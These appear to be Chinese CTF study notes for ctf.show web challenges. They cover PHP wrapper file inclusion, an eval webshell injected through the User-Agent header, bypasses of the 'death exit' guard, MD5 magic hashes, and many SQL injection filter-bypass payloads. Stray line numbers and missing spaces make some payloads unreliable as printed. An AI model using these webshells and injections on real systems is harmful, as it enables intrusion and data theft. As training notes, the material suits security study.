1 2 3 4 5 6 7 8 9 10 11 12 13 14 GET / HTTP/1.1 Host: 710d2d68-896d-406b-99b2-4dfa28053fce.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0<?php @eval($_POST['yyssh']);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive
php伪协议 1 2 3 4 5 6 php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。 resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
1 2 3 4 5 6 php://filter/read=convert.base64-encode/resource=index.php php://filter/resource=index.php convert.base64-encode #对index.php进行base64编码加密,进行加密后不再当作php代码执行而是读取他的源码,不进行编码则当作php文件执行 使用的函数是一个过滤器
data:// 1 2 3 4 5 6 7 8 9 10 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。 #这里的执行是你要是php源码的格式例如:<?php ?>,而不是一个文件 data://text/plain, #text/plain表示转换的数据为纯文本 http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> data://text/plain;base64, #逗号后面的base64是把我们编码的url参数进行解码 http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b # data://和filter一起妙用,将payload进行两次base64编码 ?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPejgr
file:// 1 2 3 用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响 file://协议主要用于访问文件(绝对路径、相对路径以及网络路径) 比如:http://www.xx.com?file=file:///etc/passsword
php:// 1 2 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用 php://作用为访问输入输出流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时, 可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。 POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 Host: 10.202.6.24 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://10.202.6.24 Connection: keep-alive Referer: http://10.202.6.24/pikachu/vul/sqli/sqli_id.php Cookie: PHPSESSID=khnlbrgptfngdal5cj5v7msvr4(有则加无则不加) Upgrade-Insecure-Requests: 1 Priority: u=0, i id=1&submit=%E6%9F%A5%E8%AF%A2 (POST请求主体)
1 2 3 4 5 http://127.0.0.1/cmd.php?cmd=php://input POST数据:<?php phpinfo()?> 注意: 当enctype="multipart/form-data"的时候 php://input` 是无效的 遇到file_get_contents()要想到用php://input绕
zip:// 1 2 3 4 5 zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。 zip://中只能传入绝对路径。 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换) 只需要是zip的压缩包即可,后缀名可以任意更改。 相同的类型的还有zlib://和bzip2://
过滤器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 字符串过滤器: 该类通常以string开头,对每个字符都进行同样方式的处理。 string.rot13: 一种字符处理方式,字符右移十三位。 string.toupper: 将所有字符转换为大写 string.tolower: 将所有字符转换为小写。 string.strip_tags: 这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。 转换过滤器: 对数据流进行编码,通常用来读取文件源码。 convert.base64-encode & convert.base64-decode: base64加密解密 convert.quoted-printable-encode & convert.quoted-printable-decode: 可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
利用filter伪协议绕过死亡exit 1 2 3 4 5 6 7 8 9 什么是死亡exit? 死亡exit指的是在进行写入PHP文件操作时,执行了以下函数: file_put_contents($content, '<?php exit();' . $content); 亦或者 file_put_contents($content, '<?php exit();?>' . $content); 这样,当你插入一句话木马时,文件的内容是这样子的: <?php exit();?> <?php @eval($_POST['snakin']);?> 这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
base64decode绕过 1 2 3 4 5 6 7 8 9 10 11 12 利用filter协议来绕过,看下这样的代码: <?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); 当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。 然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。 base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过, 所以,当$content 包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除, 于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。 这个时候后面再加上编码后的一句话木马,就可以getshell了。
1 2 3 4 这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。 但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。 注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。 php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
web-5 1 2 3 4 5 6 md5弱比较绕过,当md5进行==比较时会将0 e开头的都转换为同一类型然后当作0 来比较 分析php代码, if (isset ($v1 ) && isset ($v2 )) 要求v1和v2都要为真 if (!ctype_alpha ($v1 )){ die ("v1 error" );} 要求v1为字母 if (!is_numeric ($v2 )){ die ("v2 error" ); }要求v2为数字if (md5 ($v1 )==md5 ($v2 )){ echo $flag ; } 只有v1和v2的MD5编码弱比较才能输出flag,弱比较(a==b:弱类型比较会将a和b转成统一数据类型在进行比较)使用0 e绕过(弱比较会把0 exxxx当做科学计数法,不管后面的值为任何东西,0 的任何次幂都为0 ) 以下是一些字符串md5值以0 e开头 QNKCDZO 240610708
0e开头的式子和原值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
is_numeric函数 1 2 is_numeric() 函数用于检测变量是否为数字或数字字符串。 数字字符串就是"1"多打了一对引号
ctype_alpha函数 1 ctype_alpha() 函数检测字符串中所有字符是否都为字母
web-6
==空格绕过空格一定要在逗号中间加空格==
一些函数绕过与总结 绕过空格(/**/,%a0)
==URL编码对大小写不敏感所以这里的大写都可以用小写==
1 2 3 4 5 两个空格代替一个空格,用Tab代替空格,%a0=空格: %20 %09 %0a(换行符)%0b %0c %0d(回车符) %a0/**/ () 最基本的绕过方法,用注释替换空格: /*注释*/
1 2 3 4 5 6 7 8 9 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。 例如: select(user())fromdualwhere(1=1)and(2=2) 这种过滤方法常常用于time based盲注,例如: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23 (from for属于逗号绕过下面会有) 上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
引号绕过(使用十六进制) 1 2 3 4 5 6 会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句: selectcolumn_namefrominformation_schema.tableswheretable_name="users" 这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了: selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
逗号绕过(limit使用from或者offset )(substr使用from for属于逗号): 1 2 3 4 5 在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决: select substr(database(0from1for1);select mid(database(0from1for1); 对于limit可以使用offset来绕过: select*from news limit0,1# 等价select*from news limit 1offset0#
比较符号(<>)绕过(**使用greatest()**): 1 2 3 4 5 6 7 8 9 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句: select * from users where id=1 and ascii(substr(database(),0,1))>64 此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句: select* from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
or and绕过
绕过注释符号(#,–)过滤: 1 2 3 4 id=1'union select 1,2,3||'1 最后的or '1闭合查询语句的最后的单引号,或者: id=1'union select 1,2,'3
=绕过
绕过union,select,where 使用注释符绕过 1 2 3 4 5 常用注释符: //,-- , /**/, #, --+, -- -, ;,%00,--a 用法: U/**/NION/**/SE/**/LECT/**/user,pwd from user
使用大小写绕过
内联注入绕过 1 id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#
双关键字绕过 1 d=-1'UNIunionONSeLselectECT1,2,3–-
通用绕过(编码绕过、双重编码绕过) 1 2 如URLEncode编码,ASCII,HEX,unicode编码绕过: or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
等价函数绕过 1 2 3 4 5 6 7 8 9 hex()、bin()==>ascii() sleep()==>benchmark() concat_ws()==>group_concat() mid()、substr()==>substring() @@user==>user() @@datadir==>datadir() 举例:substring()和substr()无法使用时: ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者: substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1
宽字节注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路: (1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面: id=-1%df%27union select 1,user(),3--+ (2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式) 3.mysql_real_escape_string():转义下列字符: \x00 \n \r \'" \x1a (防御,将mysql设置为gbk即可)
web-7 ==有时候单引号也会过滤所以最后数据库可以尝试双引号,如果前面正常注入成功==
web-8
==大部分过滤了逗号的都可以使用盲注绕过==
1 2 3 4 5 过滤了逗号使用from for vince'/**/or/**/ascii(substr(database()from/**/1/**/for/**/1))=119# 然后使用burp爆破表名和字段名 id=1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/1/**/for/**/1))=102#
十六进制编码绕过 1 2 3 4 1';show databases;# 如果这样有回显才可以使用下面这个十六进制绕过 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
web-9 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 尝试用sql注入的万能密码绕过,都无果 最后用dirsearch扫描网站发现.robots.txt目录,里面有index.phps 分析代码,md5,sql注入绕过 SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."' true默认不写则为false,则转换为32位16进制的字符串。 true为16位原始二进制的字符串 32位16进制字符串的意思是:将MD5加密得到的128 位长度的"指纹信息",以每4位为一组,分为32组,每组以转换为16进制,进行转换得到一个32位的字符串。 16位原始二进制格式的字符串的意思是:将128 位长度的"指纹信息"分组转化为16位的一个字符串,然后两个字符为一组,依照ACILL码转化为字符串。 如果为true,我们有一个万能密码,ffifdyop,转换为字符串为'or'6(后面乱码) 在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’, 那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true, 所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的 所以上面万能密码就变成了'or'truexxx
CTF记录 引号解析
浏览器传参对文本进行操作多用URL编码 换行
类型转换的优先级 1 2 3 4 5 6 优先级总结: 浮点数和整数:浮点数和整数进行比较时,整数会被转换为浮点数,然后进行比较。 布尔值:布尔值会转换为整数(false 转为 0,true 转为 1)。 字符串:字符串会与其他类型的值进行转换。数值会被转换为字符串,或者其他类型的值会转换为字符串进行比较。 数组:空数组视为 false,非空数组视为 true。 对象:对象首先会尝试转换为字符串,如果没有 __toString() 方法,则转换为布尔值。
==编码影响==
1 例如base64编码的+和=可能被浏览器解析成为其他字符,而不是源码字符,所以这时对一些被浏览器过滤的字符进行URL编码
1 2 3 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 这个例子中多了一个引号就发生了浏览器解析错误,这个加号被解析成空格可能